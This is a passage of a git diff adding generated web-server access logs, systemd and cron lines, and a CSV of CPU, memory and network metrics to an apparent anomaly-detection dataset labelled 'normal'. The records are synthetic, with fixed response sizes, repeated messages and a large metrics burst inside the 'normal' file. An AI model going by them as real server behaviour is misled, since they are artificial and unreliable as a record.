"GET /blog/article-45 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:56 web-app[1234]: 66.249.66.4 - - [19/Aug/2025:10:04:56 +0000] "GET /contact HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:56 web-app[1234]: 66.249.67.2 - - [19/Aug/2025:10:04:56 +0000] "GET /api/v1/data HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:56 web-app[1234]: 66.249.67.4 - - [19/Aug/2025:10:04:56 +0000] "GET /contact HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:57 web-app[1234]: 66.249.66.1 - - [19/Aug/2025:10:04:57 +0000] "GET /products/123 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:57 web-app[1234]: 66.249.66.3 - - [19/Aug/2025:10:04:57 +0000] "GET /about HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:57 web-app[1234]: 66.249.66.4 - - [19/Aug/2025:10:04:57 +0000] "GET /contact HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:57 web-app[1234]: 66.249.67.2 - - [19/Aug/2025:10:04:57 +0000] "GET /products/123 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:58 web-app[1234]: 66.249.66.3 - - [19/Aug/2025:10:04:58 +0000] "GET /contact HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:58 web-app[1234]: 66.249.67.3 - - [19/Aug/2025:10:04:58 +0000] "GET /about HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:58 web-app[1234]: 66.249.67.3 - - [19/Aug/2025:10:04:58 +0000] "GET /api/v1/data HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:58 web-app[1234]: 66.249.67.4 - - [19/Aug/2025:10:04:58 +0000] "GET /contact HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:59 web-app[1234]: 66.249.66.1 - - [19/Aug/2025:10:04:59 +0000] "GET /api/v1/data HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:59 web-app[1234]: 66.249.66.1 - - [19/Aug/2025:10:04:59 +0000] "GET /blog/article-45 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:59 web-app[1234]: 66.249.66.3 - - [19/Aug/2025:10:04:59 +0000] "GET / HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:59 web-app[1234]: 66.249.67.1 - - [19/Aug/2025:10:04:59 +0000] "GET /blog/article-45 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:05:00 web-app[1234]: 192.168.1.41 - - [19/Aug/2025:10:05:00 +0000] "GET /about HTTP/1.1" 404 1234 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 19 10:05:02 web-app[1234]: 192.168.1.141 - - [19/Aug/2025:10:05:02 +0000] "GET /blog/article-45 HTTP/1.1" 301 1234 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 19 10:05:05 systemd[1]: Starting daily clean up activities... +Aug 19 10:05:06 web-app[1234]: 192.168.1.99 - - [19/Aug/2025:10:05:06 +0000] "GET /blog/article-45 HTTP/1.1" 404 1234 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" +Aug 19 10:05:08 systemd[1]: Starting daily clean up activities... +Aug 19 10:05:10 systemd[1]: Starting daily clean up activities... +Aug 19 10:05:11 web-app[1234]: 192.168.1.39 - - [19/Aug/2025:10:05:11 +0000] "GET /products/123 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Aug 19 10:05:13 web-app[1234]: 192.168.1.136 - - [19/Aug/2025:10:05:13 +0000] "GET /blog/article-45 HTTP/1.1" 404 1234 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" +Aug 19 10:05:15 web-app[1234]: 192.168.1.123 - - [19/Aug/2025:10:05:15 +0000] "GET /products/123 HTTP/1.1" 404 1234 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" +Aug 19 10:05:20 systemd[1]: Starting daily clean up activities... +Aug 19 10:05:21 systemd[1]: Starting daily clean up activities... +Aug 19 10:05:23 systemd[1]: Starting daily clean up activities... +Aug 19 10:05:25 systemd[1]: Starting daily clean up activities... +Aug 19 10:05:27 systemd[1]: Starting daily clean up activities... +Aug 19 10:05:30 web-app[1234]: 192.168.1.29 - - [19/Aug/2025:10:05:30 +0000] "GET /products/123 HTTP/1.1" 301 1234 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Aug 19 10:05:35 systemd[1]: Starting daily clean up activities... +Aug 19 10:05:37 systemd[1]: Starting daily clean up activities... +Aug 19 10:05:40 web-app[1234]: 192.168.1.83 - - [19/Aug/2025:10:05:40 +0000] "GET /about HTTP/1.1" 301 1234 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 19 10:05:41 web-app[1234]: 192.168.1.110 - - [19/Aug/2025:10:05:41 +0000] "GET /api/v1/data HTTP/1.1" 404 1234 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 19 10:05:43 systemd[1]: Starting daily clean up activities... +Aug 19 10:05:45 systemd[1]: Starting daily clean up activities... +Aug 19 10:05:46 systemd[1]: Starting daily clean up activities... +Aug 19 10:05:48 web-app[1234]: 192.168.1.53 - - [19/Aug/2025:10:05:48 +0000] "GET /contact HTTP/1.1" 301 1234 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 19 10:05:50 web-app[1234]: 192.168.1.48 - - [19/Aug/2025:10:05:50 +0000] "GET / HTTP/1.1" 404 1234 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" +Aug 19 10:05:52 systemd[1]: Starting daily clean up activities... +Aug 19 10:05:55 systemd[1]: Starting daily clean up activities... +Aug 19 10:06:00 web-app[1234]: 192.168.1.94 - - [19/Aug/2025:10:06:00 +0000] "GET /products/123 HTTP/1.1" 404 1234 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" +Aug 19 10:06:02 web-app[1234]: 192.168.1.104 - - [19/Aug/2025:10:06:02 +0000] "GET /about HTTP/1.1" 404 1234 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 19 10:06:05 systemd[1]: Starting daily clean up activities... +Aug 19 10:06:10 web-app[1234]: 192.168.1.187 - - [19/Aug/2025:10:06:10 +0000] "GET /contact HTTP/1.1" 301 1234 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 19 10:06:15 web-app[1234]: 192.168.1.180 - - [19/Aug/2025:10:06:15 +0000] "GET /about HTTP/1.1" 301 1234 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 19 10:06:20 web-app[1234]: 192.168.1.135 - - [19/Aug/2025:10:06:20 +0000] "GET / HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 19 10:06:21 systemd[1]: Starting daily clean up activities... +Aug 19 10:06:23 systemd[1]: Starting daily clean up activities... +Aug 19 10:06:25 web-app[1234]: 192.168.1.73 - - [19/Aug/2025:10:06:25 +0000] "GET /api/v1/data HTTP/1.1" 404 1234 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Aug 19 10:06:30 web-app[1234]: 192.168.1.59 - - [19/Aug/2025:10:06:30 +0000] "GET /api/v1/data HTTP/1.1" 301 1234 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 19 10:06:31 systemd[1]: Starting daily clean up activities... +Aug 19 10:06:33 systemd[1]: Starting daily clean up activities... +Aug 19 10:06:35 web-app[1234]: 192.168.1.32 - - [19/Aug/2025:10:06:35 +0000] "GET /about HTTP/1.1" 404 1234 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" +Aug 19 10:06:36 systemd[1]: Starting daily clean up activities... +Aug 19 10:06:38 systemd[1]: Starting daily clean up activities... +Aug 19 10:06:40 web-app[1234]: 192.168.1.147 - - [19/Aug/2025:10:06:40 +0000] "GET /contact HTTP/1.1" 301 1234 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" +Aug 19 10:06:41 web-app[1234]: 192.168.1.11 - - [19/Aug/2025:10:06:41 +0000] "GET / HTTP/1.1" 301 1234 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Aug 19 10:06:43 systemd[1]: Starting daily clean up activities... +Aug 19 10:06:45 web-app[1234]: 192.168.1.29 - - [19/Aug/2025:10:06:45 +0000] "GET /blog/article-45 HTTP/1.1" 404 1234 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Aug 19 10:06:47 web-app[1234]: 192.168.1.120 - - [19/Aug/2025:10:06:47 +0000] "GET /api/v1/data HTTP/1.1" 404 1234 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Aug 19 10:06:50 web-app[1234]: 192.168.1.152 - - [19/Aug/2025:10:06:50 +0000] "GET /about HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 19 10:06:52 web-app[1234]: 192.168.1.10 - - [19/Aug/2025:10:06:52 +0000] "GET / HTTP/1.1" 301 1234 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Aug 19 10:06:55 systemd[1]: Starting daily clean up activities... +Aug 19 10:07:00 web-app[1234]: 192.168.1.59 - - [19/Aug/2025:10:07:00 +0000] "GET /about HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 19 10:07:01 systemd[1]: Starting daily clean up activities... +Aug 19 10:07:03 web-app[1234]: 192.168.1.176 - - [19/Aug/2025:10:07:03 +0000] "GET /contact HTTP/1.1" 301 1234 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 19 10:07:05 systemd[1]: Starting daily clean up activities... +Aug 19 10:07:10 web-app[1234]: 192.168.1.47 - - [19/Aug/2025:10:07:10 +0000] "GET /api/v1/data HTTP/1.1" 404 1234 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 19 10:07:12 web-app[1234]: 192.168.1.151 - - [19/Aug/2025:10:07:12 +0000] "GET /blog/article-45 HTTP/1.1" 301 1234 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 19 10:07:15 systemd[1]: Starting daily clean up activities... +Aug 19 10:07:16 systemd[1]: Starting daily clean up activities... +Aug 19 10:07:18 web-app[1234]: 192.168.1.51 - - [19/Aug/2025:10:07:18 +0000] "GET /api/v1/data HTTP/1.1" 404 1234 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Aug 19 10:07:20 web-app[1234]: 192.168.1.165 - - [19/Aug/2025:10:07:20 +0000] "GET /contact HTTP/1.1" 301 1234 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Aug 19 10:07:22 web-app[1234]: 192.168.1.60 - - [19/Aug/2025:10:07:22 +0000] "GET /products/123 HTTP/1.1" 301 1234 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" +Aug 19 10:07:25 systemd[1]: Starting daily clean up activities... +Aug 19 10:07:26 systemd[1]: Starting daily clean up activities... +Aug 19 10:07:28 systemd[1]: Starting daily clean up activities... diff --git a/norm_dataset/scenario_8/norm_8_9.csv b/norm_dataset/scenario_8/norm_8_9.csv new file mode 100644 index 0000000000000000000000000000000000000000..356194294879a60d57e21d732f4c4f789cc3e77f --- /dev/null +++ b/norm_dataset/scenario_8/norm_8_9.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,13.51,41.11,32.39,0.92,0.99 +2025-07-02T12:00:05Z,17.23,43.13,28.1,1.01,0.92 +2025-07-02T12:00:10Z,16.25,42.95,32.23,1.26,0.92 +2025-07-02T12:00:15Z,12.99,36.26,32.52,0.72,1.27 +2025-07-02T12:00:20Z,13.58,41.26,30.92,1.01,0.9 +2025-07-02T12:00:25Z,13.09,36.4,35.57,0.77,1.27 +2025-07-02T12:00:30Z,15.35,40.28,25.72,0.78,0.8 +2025-07-02T12:00:35Z,13.2,41.62,30.86,1.01,0.99 +2025-07-02T12:00:40Z,15.25,38.38,33.16,1.2,1.24 +2025-07-02T12:00:45Z,15.86,41.39,27.76,1.1,1.06 +2025-07-02T12:00:50Z,15.82,39.6,29.12,0.76,1.17 +2025-07-02T12:00:55Z,12.06,40.17,33.29,0.95,0.96 +2025-07-02T12:01:00Z,17.52,40.99,31.21,0.98,1.11 +2025-07-02T12:01:05Z,14.07,43.01,33.09,0.81,0.85 +2025-07-02T12:01:10Z,16.27,43.25,33.5,1.08,0.93 +2025-07-02T12:01:15Z,15.48,37.22,28.56,0.82,0.77 +2025-07-02T12:01:20Z,14.19,37.57,29.08,1.0,1.06 +2025-07-02T12:01:25Z,16.8,41.22,28.81,1.05,1.26 +2025-07-02T12:01:30Z,13.32,40.35,25.32,1.26,1.29 +2025-07-02T12:01:35Z,15.6,41.05,34.71,0.96,0.98 +2025-07-02T12:01:40Z,14.05,36.34,26.17,0.95,1.03 +2025-07-02T12:01:45Z,15.93,38.33,32.08,0.81,0.85 +2025-07-02T12:01:50Z,16.78,42.31,30.42,1.09,0.94 +2025-07-02T12:01:55Z,17.79,38.0,25.97,1.15,0.7 +2025-07-02T12:02:00Z,16.17,39.83,32.32,0.71,0.82 +2025-07-02T12:02:05Z,16.43,42.91,28.64,1.28,1.21 +2025-07-02T12:02:10Z,15.54,37.74,31.57,0.87,1.03 +2025-07-02T12:02:15Z,65.84,47.86,64.29,219.69,48.74 +2025-07-02T12:02:20Z,56.46,45.92,74.43,166.31,45.04 +2025-07-02T12:02:25Z,67.09,44.39,69.15,179.26,50.36 +2025-07-02T12:02:30Z,63.34,47.44,71.85,177.03,59.16 +2025-07-02T12:02:35Z,55.0,47.75,65.77,195.07,56.73 +2025-07-02T12:02:40Z,59.77,49.05,72.73,202.78,57.58 +2025-07-02T12:02:45Z,62.1,46.77,74.82,197.06,58.84 +2025-07-02T12:02:50Z,67.51,51.34,63.49,212.12,50.68 +2025-07-02T12:02:55Z,50.86,49.63,67.71,185.07,44.77 +2025-07-02T12:03:00Z,48.54,46.44,67.64,213.54,55.34 +2025-07-02T12:03:05Z,66.92,46.76,73.67,169.82,43.23 +2025-07-02T12:03:10Z,67.52,44.23,73.86,193.21,40.13 +2025-07-02T12:03:15Z,52.55,46.73,64.03,236.5,54.41 +2025-07-02T12:03:20Z,70.98,50.6,75.4,161.09,44.21 +2025-07-02T12:03:25Z,53.08,47.01,71.03,201.83,51.09 +2025-07-02T12:03:30Z,62.06,50.68,71.09,209.59,55.74 +2025-07-02T12:03:35Z,66.95,51.22,64.63,196.21,58.38 +2025-07-02T12:03:40Z,54.35,46.0,69.71,164.26,50.18 +2025-07-02T12:03:45Z,65.18,46.51,69.01,204.37,58.45 +2025-07-02T12:03:50Z,53.6,49.44,68.67,170.82,42.02 +2025-07-02T12:03:55Z,69.93,49.34,67.15,170.65,49.26 +2025-07-02T12:04:00Z,65.8,48.39,75.57,168.27,57.13 +2025-07-02T12:04:05Z,49.07,49.36,67.56,228.46,52.64 +2025-07-02T12:04:10Z,61.1,47.33,75.04,235.93,42.07 +2025-07-02T12:04:15Z,68.38,45.92,74.1,210.76,57.41 +2025-07-02T12:04:20Z,65.55,50.43,70.82,225.51,43.09 +2025-07-02T12:04:25Z,61.41,45.03,66.31,180.74,43.95 +2025-07-02T12:04:30Z,71.98,44.24,64.55,190.44,48.33 +2025-07-02T12:04:35Z,65.53,48.0,67.21,164.16,54.41 +2025-07-02T12:04:40Z,65.4,51.37,67.05,163.54,44.41 +2025-07-02T12:04:45Z,50.04,49.69,71.52,161.62,41.01 +2025-07-02T12:04:50Z,64.77,49.67,68.84,212.47,57.36 +2025-07-02T12:04:55Z,51.12,47.89,66.38,162.55,46.97 +2025-07-02T12:05:00Z,48.33,46.01,67.47,226.47,53.8 +2025-07-02T12:05:05Z,49.73,50.43,72.77,187.5,44.41 +2025-07-02T12:05:10Z,55.35,50.14,65.73,163.9,45.55 +2025-07-02T12:05:15Z,15.6,38.21,29.47,0.94,0.97 +2025-07-02T12:05:20Z,13.96,41.74,31.01,0.81,0.99 +2025-07-02T12:05:25Z,17.26,43.57,32.84,0.88,0.71 +2025-07-02T12:05:30Z,17.12,38.31,27.66,0.83,0.9 +2025-07-02T12:05:35Z,14.43,39.81,35.25,0.8,0.94 +2025-07-02T12:05:40Z,16.26,38.9,33.42,1.19,1.03 +2025-07-02T12:05:45Z,12.98,42.76,24.06,1.18,0.83 +2025-07-02T12:05:50Z,17.02,36.26,30.63,1.03,0.97 +2025-07-02T12:05:55Z,16.62,37.36,32.71,0.79,1.2 +2025-07-02T12:06:00Z,13.15,42.69,29.67,1.2,0.75 +2025-07-02T12:06:05Z,13.25,38.24,27.69,1.02,0.72 +2025-07-02T12:06:10Z,13.61,40.79,29.66,1.1,0.9 +2025-07-02T12:06:15Z,15.72,41.96,32.92,1.19,1.15 +2025-07-02T12:06:20Z,13.4,38.15,26.81,0.84,0.93 +2025-07-02T12:06:25Z,17.26,42.9,26.37,1.21,0.9 +2025-07-02T12:06:30Z,15.64,42.79,24.85,0.77,1.03 +2025-07-02T12:06:35Z,14.67,38.66,28.56,1.11,0.99 +2025-07-02T12:06:40Z,12.29,38.31,33.04,1.16,1.23 +2025-07-02T12:06:45Z,12.47,39.13,34.06,1.02,1.07 +2025-07-02T12:06:50Z,14.84,38.6,25.61,1.05,0.76 +2025-07-02T12:06:55Z,13.08,37.81,27.9,1.29,0.8 +2025-07-02T12:07:00Z,17.5,39.45,25.23,0.88,0.92 +2025-07-02T12:07:05Z,12.36,43.09,33.18,1.15,0.76 +2025-07-02T12:07:10Z,14.73,37.89,35.53,0.89,0.83 +2025-07-02T12:07:15Z,16.49,41.73,30.51,1.04,1.22 +2025-07-02T12:07:20Z,12.58,41.6,30.65,0.79,0.79 +2025-07-02T12:07:25Z,17.88,40.23,28.35,1.27,1.05 diff --git a/norm_dataset/scenario_8/norm_8_9.log b/norm_dataset/scenario_8/norm_8_9.log new file mode 100644 index 0000000000000000000000000000000000000000..f2e2ace776e37abebb9d612a795e2cc014b0da20 --- /dev/null +++ b/norm_dataset/scenario_8/norm_8_9.log @@ -0,0 +1,11759 @@ +Jul 02 12:00:11 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:00:14 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:00:40 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:00:49 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:01:25 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:02:13 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:02:17 systemd[1]: Starting daily clean up activities... +Jul 02 12:02:19 systemd[1]: Starting daily clean up activities... +Jul 02 12:02:19 systemd[1]: Starting daily clean up activities... +Jul 02 12:02:23 systemd[1]: Starting daily clean up activities... +Jul 02 12:02:23 systemd[1]: Starting daily clean up activities... +Jul 02 12:02:23 systemd[1]: Starting daily clean up activities... +Jul 02 12:02:26 systemd[1]: Starting daily clean up activities... +Jul 02 12:02:32 systemd[1]: Starting daily clean up activities... +Jul 02 12:02:36 systemd[1]: Starting daily clean up activities... +Jul 02 12:02:37 systemd[1]: Starting daily clean up activities... +Jul 02 12:02:39 systemd[1]: Starting daily clean up activities... +Jul 02 12:02:48 systemd[1]: Starting daily clean up activities... +Jul 02 12:02:50 systemd[1]: Starting daily clean up activities... +Jul 02 12:02:51 systemd[1]: Starting daily clean up activities... +Jul 02 12:02:56 systemd[1]: Starting daily clean up activities... +Jul 02 12:02:57 systemd[1]: Starting daily clean up activities... +Jul 02 12:02:59 systemd[1]: Starting daily clean up activities... +Jul 02 12:03:01 systemd[1]: Starting daily clean up activities... +Jul 02 12:03:06 systemd[1]: Starting daily clean up activities... +Jul 02 12:03:10 systemd[1]: Starting daily clean up activities... +Jul 02 12:03:16 systemd[1]: Starting daily clean up activities... +Jul 02 12:03:21 systemd[1]: Starting daily clean up activities... +Jul 02 12:03:21 systemd[1]: Starting daily clean up activities... +Jul 02 12:03:22 systemd[1]: Starting daily clean up activities... +Jul 02 12:03:23 systemd[1]: Starting daily clean up activities... +Jul 02 12:03:28 systemd[1]: Starting daily clean up activities... +Jul 02 12:03:32 systemd[1]: Starting daily clean up activities... +Jul 02 12:03:35 systemd[1]: Starting daily clean up activities... +Jul 02 12:03:36 systemd[1]: Starting daily clean up activities... +Jul 02 12:03:42 systemd[1]: Starting daily clean up activities... +Jul 02 12:03:50 systemd[1]: Starting daily clean up activities... +Jul 02 12:03:53 systemd[1]: Starting daily clean up activities... +Jul 02 12:03:58 systemd[1]: Starting daily clean up activities... +Jul 02 12:04:04 systemd[1]: Starting daily clean up activities... +Jul 02 12:04:08 systemd[1]: Starting daily clean up activities... +Jul 02 12:04:08 systemd[1]: Starting daily clean up activities... +Jul 02 12:04:10 systemd[1]: Starting daily clean up activities... +Jul 02 12:04:14 systemd[1]: Starting daily clean up activities... +Jul 02 12:04:17 systemd[1]: Starting daily clean up activities... +Jul 02 12:04:17 systemd[1]: Starting daily clean up activities... +Jul 02 12:04:20 systemd[1]: Starting daily clean up activities... +Jul 02 12:04:20 systemd[1]: Starting daily clean up activities... +Jul 02 12:04:24 systemd[1]: Starting daily clean up activities... +Jul 02 12:04:24 systemd[1]: Starting daily clean up activities... +Jul 02 12:04:27 systemd[1]: Starting daily clean up activities... +Jul 02 12:04:29 systemd[1]: Starting daily clean up activities... +Jul 02 12:04:29 systemd[1]: Starting daily clean up activities... +Jul 02 12:04:33 systemd[1]: Starting daily clean up activities... +Jul 02 12:04:33 systemd[1]: Starting daily clean up activities... +Jul 02 12:04:36 systemd[1]: Starting daily clean up activities... +Jul 02 12:04:41 systemd[1]: Starting daily clean up activities... +Jul 02 12:04:43 systemd[1]: Starting daily clean up activities... +Jul 02 12:04:47 systemd[1]: Starting daily clean up activities... +Jul 02 12:04:54 systemd[1]: Starting daily clean up activities... +Jul 02 12:04:55 systemd[1]: Starting daily clean up activities... +Jul 02 12:04:57 systemd[1]: Starting daily clean up activities... +Jul 02 12:05:02 systemd[1]: Starting daily clean up activities... +Jul 02 12:05:03 systemd[1]: Starting daily clean up activities... +Jul 02 12:05:03 systemd[1]: Starting daily clean up activities... +Jul 02 12:05:05 systemd[1]: Starting daily clean up activities... +Jul 02 12:05:05 systemd[1]: Starting daily clean up activities... +Jul 02 12:05:08 systemd[1]: Starting daily clean up activities... +Jul 02 12:05:10 systemd[1]: Starting daily clean up activities... +Jul 02 12:05:14 systemd[1]: Starting daily clean up activities... +Jul 02 12:05:22 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:05:36 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:06:02 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:06:16 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:06:36 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:06:50 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:00:00 web-app[2345]: 192.168.1.101 - - [02/Jul/2025:12:00:00 +0000] "GET /index.html HTTP/1.1" 200 545 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:00:00 web-app[2345]: 192.168.1.101 - - [02/Jul/2025:12:00:00 +0000] "GET /contact.html HTTP/1.1" 200 1966 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:00:00 web-app[2345]: 172.16.31.200 - - [02/Jul/2025:12:00:00 +0000] "GET /index.html HTTP/1.1" 404 1014 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:00:00 web-app[2345]: 192.168.1.101 - - [02/Jul/2025:12:00:00 +0000] "GET /contact.html HTTP/1.1" 200 1754 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:00:06 web-app[2345]: 192.168.1.101 - - [02/Jul/2025:12:00:06 +0000] "GET /index.html HTTP/1.1" 404 1478 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:00:06 web-app[2345]: 192.168.1.101 - - [02/Jul/2025:12:00:06 +0000] "GET /about.html HTTP/1.1" 200 1236 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:00:06 web-app[2345]: 172.16.31.200 - - [02/Jul/2025:12:00:06 +0000] "GET /styles.css HTTP/1.1" 200 1605 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:00:06 web-app[2345]: 172.16.31.200 - - [02/Jul/2025:12:00:06 +0000] "GET /styles.css HTTP/1.1" 404 1574 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:00:11 web-app[2345]: 192.168.1.101 - - [02/Jul/2025:12:00:11 